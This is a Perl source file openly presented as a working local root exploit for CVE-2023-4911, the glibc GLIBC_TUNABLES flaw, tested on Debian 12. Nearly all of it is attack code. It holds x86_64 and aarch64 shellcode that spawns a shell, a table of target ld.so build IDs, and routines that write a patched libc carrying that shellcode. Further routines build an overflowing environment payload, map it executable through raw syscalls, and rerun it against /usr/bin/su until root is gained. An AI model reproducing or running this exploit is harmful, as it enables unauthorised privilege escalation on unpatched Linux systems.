#!/usr/bin/perl
# looney.pl
# written by isra - isra _replace_by_@_ fastmail.net - https://hckng.org
#
# https://git.sr.ht/~hckng/exploits/tree/master/item/looney.pl
# https://github.com/ilv/exploits/blob/main/looney.pl
# 
# version 0.1 - october 2023
#
# Exploit for CVE-2023-4911 (Linux x86_64) based on [1]
# 
#  - It combines Perl & Assembly
#  - Perl is used for looking up the necessary data and patching libc
#  - Assembly is used for calling execve with crafted envp
#  - Tricks described at [2] are used for copying assembly payload in memory
#    and execute it
#  - Tricks described at [3] are used for adjusting the assembly payload
#  - Only standard modules are used
#  - Tested on GLIBC 2.36-9+deb12u1 (Debian 12 x86_64)
#
# to run:
#     $ ulimit -s unlimited && perl looney.pl
#
#
# [1] https://haxx.in/files/gnu-acme.py
# [2] https://hckng.org/articles/perlhacking-I-peek-poke-xsub.html
# [3] https://hckng.org/articles/perljam-elf64-virus.html
#

use B;
use strict;
use Config;
use integer;
use 5.008001;
use DynaLoader;
use POSIX "uname";
use POSIX ":sys_wait_h";


###############################################################################
# specific stuff, pretty much copy/paste from gnu-acme.py 
###############################################################################
my %ARCH = (
    "x86_64" => {
        "shellcode" => [
            "\x6a\x6b\x58\x0f\x05\x89\xc7\x89\xc2\x89\xc6\x6a\x75\x58",
            "\x0f\x05\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73",
            "\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01",
            "\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89",
            "\xe6\x31\xd2\x6a\x3b\x58\x0f\x05"
        ],
        "top" => 0x800000000000,
        "aslr_bits" => 34
    },
    # not tested, but should work
    "aarch64" => {
        "shellcode" => [
            "\xe8\x15\x80\xd2\x01\x00\x00\xd4\xe1\x03\x00\xaa\xe2\x03",
            "\x00\xaa\x68\x12\x80\xd2\x01\x00\x00\xd4\xee\x45\x8c\xd2",
            "\x2e\xcd\xad\xf2\xee\xe5\xc5\xf2\xee\x65\xee\xf2\x0f\x0d",
            "\x80\xd2\xee\x3f\xbf\xa9\xe0\x03\x00\x91\xe1\x03\x1f\xaa",
            "\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x01\x00\x00\xd4"
        ],
        "top" => 0x1000000000000,
        "aslr_bits" => 30
    }
);

my %TARGETS = (
    "a8daca28288575ffc8c7641d40901b0148958fb1" => 580,
    "a99db3715218b641780b04323e4ae5953d68a927" => 561,
    "61ef896a699bb1c2e4e231642b2e1688b2f1a61e" => 560,
    "9a9c6aeba5df4178de168e26fe30ddcdab47d374" => 580,
    "69c048078b6c51fa8744f3d7cff3b0d9369ffd53" => 561,
    "3602eac894717d56555552c84fc6b0e4d6a4af72" => 561
);

# find path to write patched libc
sub find_hax_path {
    my $fh     = shift;
    my $offset = shift;

    my $pos = $offset;
    while($pos > 0) {
        seek $fh, $pos, "SEEK_SET";
        read $fh, my $buff, 0x02;
        my ($p0, $p1) = unpack("C C", $buff);
        if($p0 != 0 && $p0 != 47 && $p1 == 0) {
            return (pack("C*", $p0), $pos - $offset);
        }
        $pos--;
    }
    return (undef, undef);
}

# write patched libc at hax_path with injected shellcode
sub patch_libc {
    my $libc_path = shift;
    my $libc_main = shift;
    my $libc_size = shift;
    my $new_path  = shift;
    my $shellcode = shift;

    open my $new_fh, ">:raw", $new_path or die "$!\n";
    open my $libc_fh, "<:raw", $libc_path or die "$!\n";
    
    seek $libc_fh, 0, "SEEK_SET";
    read $libc_fh, my $buff, $libc_main;

    syswrite $new_fh, $buff;
    syswrite $new_fh, $shellcode;

    seek $libc_fh, $libc_main + length($shellcode), "SEEK_SET";
    read $libc_fh, my $buff, $libc_size - $libc_main - length($shellcode);

    syswrite $new_fh, $buff;

    close $new_fh;
    close $libc_fh;
}


###############################################################################
# ELF parsing 
###############################################################################

# elf header keys
my @e_keys = (
    'ei_mag0', 'ei_mag1', 'ei_mag2', 'ei_mag3', 'ei_class', 'ei_data', 
    'ei_version', 'ei_osabi', 'ei_abiversion', #ei_pad ignored
    'e_type', 'e_machine', 'e_version', 'e_entry', 'e_phoff', 'e_shoff',
    'e_flags', 'e_ehsize', 'e_phentsize', 'e_phnum', 'e_shentsize', 'e_shnum',
    'e_shstrndx'
);

# section header table keys
my @sh_keys = (
    'sh_name', 'sh_type', 'sh_flags', 'sh_addr', 'sh_offset', 'sh_size',
    'sh_link', 'sh_info', 'sh_addralign', 'sh_entsize'
);

# symbol table keys
my @st_keys = (
    'st_name', 'st_info', 'st_other', 'st_shndx', 'st_value', 'st_size'
);

# read & unpack binary content
sub ru {
    my $fh  = shift;
    my $tpl = shift;
    my $sz  = shift;

    read $fh, my $buff, $sz;
    return unpack($tpl, $buff);
}

# make hash to easily handle various headers 
sub mk_hash {
    my $hashref = shift;
    my $keysref = shift;
    my $valsref = shift;

    for(my $i = 0; $i < @{$keysref}; $i++) {
        $hashref->{$keysref->[$i]} = $valsref->[$i];
    }
}

# elf header
sub parse_ehdr {
	my $fh   = shift;
    my $ehdr = shift;

    my @hdr = ru($fh, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40);
    mk_hash($ehdr, \@e_keys, \@hdr);
}

# section header table
sub parse_shtab {
	my $fh     = shift;
    my $ehdr   = shift;
    my $shtab  = shift;
    my $strtab = shift;

    seek $fh, $ehdr->{'e_shoff'}, "SEEK_SET"; 
    for (my $i = 0; $i < $ehdr->{'e_shnum'}; $i++) {
        my %sh;
        my @hdr = ru($fh, "I I q q q q I I q q", $ehdr->{'e_shentsize'});
        mk_hash(\%sh, \@sh_keys, \@hdr);
        push @{$shtab}, \%sh;

        # read content of section header entry of type 'STRTAB'
        if($sh{'sh_type'} == 3) {
            my $tmpstr;
            my $curr_offset = tell $fh;
            seek $fh, $sh{'sh_offset'}, "SEEK_SET";
            read $fh, $tmpstr, $sh{'sh_size'};
            seek $fh, $curr_offset, "SEEK_SET";
            $strtab->{$sh{'sh_offset'}} = $tmpstr;
        }
    }
}

sub secname {
    my $ndx = shift;
    my $str = shift;

    my $s = substr($str, $ndx);
    my $r = substr($s, 0, index($s, "\0"));
}

# section names from string table
sub parse_secnames {
    my $fh     = shift;
    my $ehdr   = shift;
    my $shtab  = shift;
    my $strtab = shift;

    my $symtab_ndx;
    my $shstrtab = $shtab->[$ehdr->{'e_shstrndx'}];
    for(my $i = 0; $i < $ehdr->{'e_shnum'}; $i++) {
        my $name = secname(
            $shtab->[$i]{'sh_name'}, 
            $strtab->{$shstrtab->{'sh_offset'}}
        );
        # add 'name' to each section header entry
        $shtab->[$i]{'name'} = $name;

        $symtab_ndx = $i if($name eq '.dynsym');
    }

    return $symtab_ndx;
}

# get content by section name
sub find_section_content {
	my $fh    = shift;
    my $ehdr  = shift;
    my $shtab = shift;
	my $name  = shift;

    for(my $i = 0; $i < $ehdr->{'e_shnum'}; $i++) {
        if($shtab->[$i]{'name'} eq $name) {
        	seek $fh, $shtab->[$i]{'sh_offset'}, "SEEK_SET";
        	read $fh, my $buff, $shtab->[$i]{'sh_size'};
        	return $buff;
        }
    }
}

# get offset by section name
sub find_section_offset {
	my $fh    = shift;
    my $ehdr  = shift;
    my $shtab = shift;
	my $name  = shift;

    for(my $i = 0; $i < $ehdr->{'e_shnum'}; $i++) {
        if($shtab->[$i]{'name'} eq $name) {
        	return $shtab->[$i]{'sh_offset'};
        }
    }
}

# symbol table
sub parse_symtab {
	my $fh         = shift;
    my $shtab      = shift;
    my $strtab     = shift;
    my $symtab     = shift;
    my $symtab_ndx = shift;

    my $symtab_sec  = $shtab->[$symtab_ndx];
    my $sh_link     = $shtab->[$symtab_sec->{'sh_link'}];
    my $num_entry   = $symtab_sec->{'sh_size'}/$symtab_sec->{'sh_entsize'};

    my $curr_file_offset = tell $fh;
    seek $fh, $symtab_sec->{'sh_offset'}, "SEEK_SET";
    for (my $i = 0; $i < $num_entry; $i++) {
        my %sym;
        my @hdr = ru($fh, "I C C S q q", $symtab_sec->{'sh_entsize'});
        mk_hash(\%sym, \@st_keys, \@hdr);

        my $type = $sym{'st_info'} & 0x0f;
        my $name = secname(
            $sym{'st_name'}, 
            $strtab->{$sh_link->{'sh_offset'}}
        );
        # add 'name' to each symbol 
        $sym{'name'} = $name;
        push @{$symtab}, \%sym;
    }
    seek $fh, $curr_file_offset, "SEEK_SET";
}

# find symbol by name
sub find_symbol {
	my $symtab = shift;
	my $name   = shift;

    for(my $i = 0; $i < $#{$symtab}; $i++) {
        if($symtab->[$i]{'name'} eq $name) {
        	return $symtab->[$i]{'st_value'};
        }
    }
}

# basic ELF parsing
sub parse_elf {
    my $f = shift;

    my (@shtab, @symtab, %ehdr, %strtab, $symtab_ndx);

    print "[*] Starting ELF parsing\n";
    open my $fh, '<', $f or die "[-] Couldn't open $f for parsing\n";
    parse_ehdr($fh, \%ehdr);
    parse_shtab($fh, \%ehdr, \@shtab, \%strtab);
    $symtab_ndx = parse_secnames($fh, \%ehdr, \@shtab, \%strtab);
    parse_symtab($fh, \@shtab, \%strtab, \@symtab, $symtab_ndx);
    print "[*] Ending ELF parsing\n";

    return ($fh, \%ehdr, \@shtab, \@symtab);
}

# parse libc to get start_main symbol
sub parse_libc {
    my $f = shift;

    my ($fh, $ehdr, $shtab, $symtab) = parse_elf($f);
    my $symbol = find_symbol($symtab, "__libc_start_main");

    return $symbol;
}

# parse su to obtain ld_path, hax_path and hax_offset
sub parse_su {
    my $f = shift;

    my ($fh, $ehdr, $shtab, $symtab) = parse_elf($f);
    my $ld_path = find_section_content($fh, $ehdr, $shtab, ".interp");
    my $offset = find_section_offset($fh, $ehdr, $shtab, ".dynstr");
    my ($hax_path, $hax_offset) = find_hax_path($fh, $offset);

    chop($ld_path);
    return ($ld_path, $hax_path, $hax_offset);
}

# parse ld to obtain build_id
sub parse_ld {
    my $f = shift;

    my ($fh, $ehdr, $shtab, $symtab) = parse_elf($f);
    my $ld_build_id = find_section_content(
        $fh, $ehdr, $shtab, ".note.gnu.build-id"
    );
    
    $ld_build_id = unpack("H*", substr($ld_build_id, -20));
    return $ld_build_id;
}


###############################################################################
# POKE memory and build/execute payload
###############################################################################

# copy $bytes of length $len into address $location
# see https://hckng.org/articles/perlhacking-I-peek-poke-xsub.html
sub poke {
    my($location, $bytes, $len) = @_;
    my $addr = pack("Q", $location);

    my $dummy = 'X' x $len;
    my $dummy_addr = \$dummy + 0;
    my $sz = 16 + $Config{ivsize};
    my $ghost_sv_contents = unpack("P".$sz, pack("Q", $dummy_addr));
    substr( $ghost_sv_contents, 8 + 4 + 4, 8 ) = $addr;    

    my $ghost_string_ref = bless( \ unpack(
        "Q",
        do { no warnings 'pack'; pack( 'P', $ghost_sv_contents.'' ) },
    ), 'B::PV' )->object_2svref;
    eval 'substr($$ghost_string_ref, 0, $len) = $bytes';
    return $len;
}

sub mmap {
    my ($addr, $size, $protect, $flags) = @_;
    my $ret = syscall(9, $addr, $size, $protect, $flags, -1, 0);
    return $ret;
}

sub mprotect {
    my ($addr, $size, $protect) = @_;
    my $ret = syscall(10, $addr, $size, $protect);
    return $ret;
}

# payload for calling /usr/bin/su --help with execve and a crafted envp
# payload is adjusted according to $adjust, $addr and $offset
# sample: https://git.sr.ht/~hckng/exploits/tree/master/item/looney_sample.s
sub build_payload {
    my $adjust = shift;
    my $addr   = shift;
    my $offset = shift;

    my $p1 = "";
    $p1 .= "\xe8\x3b\x03\x02\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x75";
    $p1 .= "\x00\x2d\x2d\x68\x65\x6c\x70\x00\x47\x4c\x49\x42\x43\x5f\x54\x55";
    $p1 .= "\x4e\x41\x42\x4c\x45\x53\x3d\x67\x6c\x69\x62\x63\x2e\x6d\x65\x6d";
    $p1 .= "\x2e\x74\x61\x67\x67\x69\x6e\x67\x3d\x67\x6c\x69\x62\x63\x2e\x6d";
    $p1 .= "\x65\x6d\x2e\x74\x61\x67\x67\x69\x6e\x67\x3d";

    # add $adjust P's and fill the rest with null bytes
    for(my $i = 0; $i < $adjust; $i++) {
        $p1 .= pack("C", 0x50);
    }

    for(my $i = 0; $i < 580-$adjust; $i++) {
        $p1 .= pack("C", 0x00);
    } 

    my $p2 = "";
    $p2 .= "\x00";
    $p2 .= "\x47\x4c\x49\x42\x43\x5f\x54\x55\x4e\x41\x42\x4c\x45\x53\x3d\x67";
    $p2 .= "\x6c\x69\x62\x63\x2e\x6d\x65\x6d\x2e\x74\x61\x67\x67\x69\x6e\x67";
    $p2 .= "\x3d\x67\x6c\x69\x62\x63\x2e\x6d\x65\x6d\x2e\x74\x61\x67\x67\x69";
    $p2 .= "\x6e\x67\x3d\x58\x58\x58\x58\x58\x58\x58\x58\x00\x47\x4c\x49\x42";
    $p2 .= "\x43\x5f\x54\x55\x4e\x41\x42\x4c\x45\x53\x3d\x67\x6c\x69\x62\x63";
    $p2 .= "\x2e\x6d\x65\x6d\x2e\x74\x61\x67\x67\x69\x6e\x67\x3d\x67\x6c\x69";
    $p2 .= "\x62\x63\x2e\x6d\x65\x6d\x2e\x74\x61\x67\x67\x69\x6e\x67\x3d\x58";
    $p2 .= "\x58\x58\x58\x58\x58\x58\x00\x47\x4c\x49\x42\x43\x5f\x54\x55\x4e";
    $p2 .= "\x41\x42\x4c\x45\x53\x3d\x67\x6c\x69\x62\x63\x2e\x6d\x65\x6d\x2e";
    $p2 .= "\x74\x61\x67\x67\x69\x6e\x67\x3d\x59\x59\x59\x59\x59\x59\x59\x59";
    $p2 .= "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59";
    $p2 .= "\x00";

    # add stack address
    my @binaddr = unpack("a6", pack("Q", $addr));
    for(my $i = 0; $i < 6; $i++) {
        $p2 .= $binaddr[$i];
    }
    $p2 .= "\x00";

    # add offset 16382 times
    $offset = pack("Q", $offset & 0xFFFFFFFFFFFFFFFF);
    my @binoffset = unpack("a8", $offset);
    for(my $i = 0; $i < 16382; $i++) {
        for(my $j = 0; $j < 8; $j++) {
            $p2 .= $binoffset[$j];
        }
    } 

    my $p3 = "";
    $p3 .= "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00";
    $p3 .= "\x5e\x48\x31\xc0\x48\x8d\x3e\x50\xb9\x2f\x00\x00\x00\xff\xc9\x48";
    $p3 .= "\x8d\x9e\x43\x03\x00\x00\x53\x75\xf4\xb9\x81\x01\x00\x00\xff\xc9";
    $p3 .= "\x48\x8d\x5e\x12\x53\x75\xf7\x48\x8d\x9e\x3c\x03\x00\x00\x53\xb9";
    $p3 .= "\xac\x00\x00\x00\xff\xc9\x48\x8d\x5e\x12\x53\x75\xf7\x48\x8d\x9e";
    $p3 .= "\x02\x03\x00\x00\x53\x48\x8d\x9e\xc7\x02\x00\x00\x53\x48\x8d\x9e";
    $p3 .= "\x8b\x02\x00\x00\x53\x48\x8d\x5e\x13\x53\x48\x89\xe2\x50\x48\x8d";
    $p3 .= "\x5e\x0c\x53\x57\x48\x89\xe6\x48\x31\xc0\xb8\x3b\x00\x00\x00\x0f";
    $p3 .= "\x05\x48\x31\xd2\xb8\x3c\x00\x00\x00\x0f\x05";

    my $payload = $p1.$p2.$p3;
    return $payload;
}

# allocate payload and execute it background
sub exec_payload {
	my $payload = shift;
	
	my $ptr = mmap(0, length($payload), 3, 33);
    if($ptr == -1) {
        die "[-] Failed to allocate memory for payload\n";
    }

    # copy payload into memory 
    poke($ptr, $payload, length($payload));

    if(mprotect($ptr, length($payload), 5) == -1) {
        die "[-] Failed to make allocated payload executable\n";
    }

    # get sub reference to execute allocated payload
    my $f = DynaLoader::dl_install_xsub("looney", $ptr, __FILE__);

    my $child_pid = fork();
    if(!$child_pid) {
        # execute
        &$f;
        exit(0);
    }

    # copy/paste from gnu-acme.py
    my $start_time = time();
    while(1){
        my $pid = waitpid($child_pid, WNOHANG);
        if($pid == $child_pid){
            return 0
        }

        my $current_time = time();
        if(($current_time - $start_time) >= 2.0) {
            print "[!] got r00t?\n";
            waitpid($child_pid, 0);
            return 0x1337
        }
    }
}

sub aslr_enabled {
    open my $fh, '<', '/proc/sys/kernel/randomize_va_space' or die "[-] $!\n";
    my $v = <$fh>;
    close $fh;

    return $v;
}

###############################################################################
# main code
###############################################################################

print "\n";
print "*" x 49;
print "\n* looney.pl - jet another CVE-2023-4911 exploit *\n";
print   "*         by isra - hckng.org - isra.cl         *\n";
print "*" x 49;
print "\n\n";

print "[+] Starting...";
print "\n";
my $mch = (uname())[4];
die "Arch $mch not supported\n" if(!exists $ARCH{$mch});
die "ASLR not enabled\n" if(!aslr_enabled());

print "[+] Trying to parse libc\n";
my $libc_path = (DynaLoader::dl_findfile("libc.so.6"))[0];
my $libc_size = (stat $libc_path)[7];
my $libc_main = parse_libc($libc_path);
print "[+] Using libc at $libc_path\n";
printf("[+] __libc_start_main = 0x%x\n", $libc_main);

my $su_path = "/usr/bin/su";
print "[+] Target = $su_path\n";
print "[+] Trying to parse su\n";
my ($ld_path, $hax_path, $hax_offset) = parse_su($su_path);

die "[-] Couldn't find hax path/offset\n" if(!$hax_path or !$hax_offset);
printf(
    "[+] Using hax path %s at offset %d\n", 
    unpack("C*", $hax_path), $hax_offset
);

print "[+] Trying to parse ld\n";
my $ld_build_id = parse_ld($ld_path);
print "[+] ld.so build id = $ld_build_id\n";

if(!exists $TARGETS{$ld_build_id}) {
    die "[-] No target for build id $ld_build_id\n";
}

print "[+] Trying to create hax path and patch libc\n";
mkdir $hax_path, 0755 if(! -d $hax_path);
patch_libc(
    $libc_path,  
    $libc_main,
    $libc_size,
    "$hax_path/libc.so.6",
    join("", @{$ARCH{$mch}{"shellcode"}})
);
die "[-] Couldn't patch libc\n" if(!-f "$hax_path/libc.so.6");

my $lsb = ((0x100 - (length($su_path) + 1 + 8)) & 7) + 8;
my $stack_addr = $ARCH{$mch}{"top"} - (1 << ($ARCH{$mch}{"aslr_bits"} - 1));
$stack_addr += $lsb;
for(my $i = 0; $i < 6; $i++) {
	if( (($stack_addr >> ($i * 8)) & 0xFF) == 0 ) {
		$stack_addr |= 0x10 << ($i * 8);
	}
}
printf("[+] Using stack addr 0x%x\n", $stack_addr);

print "[+] Building payload\n";
my $payload = build_payload($TARGETS{$ld_build_id}, $stack_addr, $hax_offset);

print "[+] Entering loop for payload execution\n";
my $i = 0;
while(1) {
    print "." if($i % 0x10 == 0);
    print "\n" if($i % 0x500 == 0);

    if(exec_payload($payload) == 0x1337) {
        print "[+] Done ($i iterations)\n";
        exit(0)
    }
    $i++;
}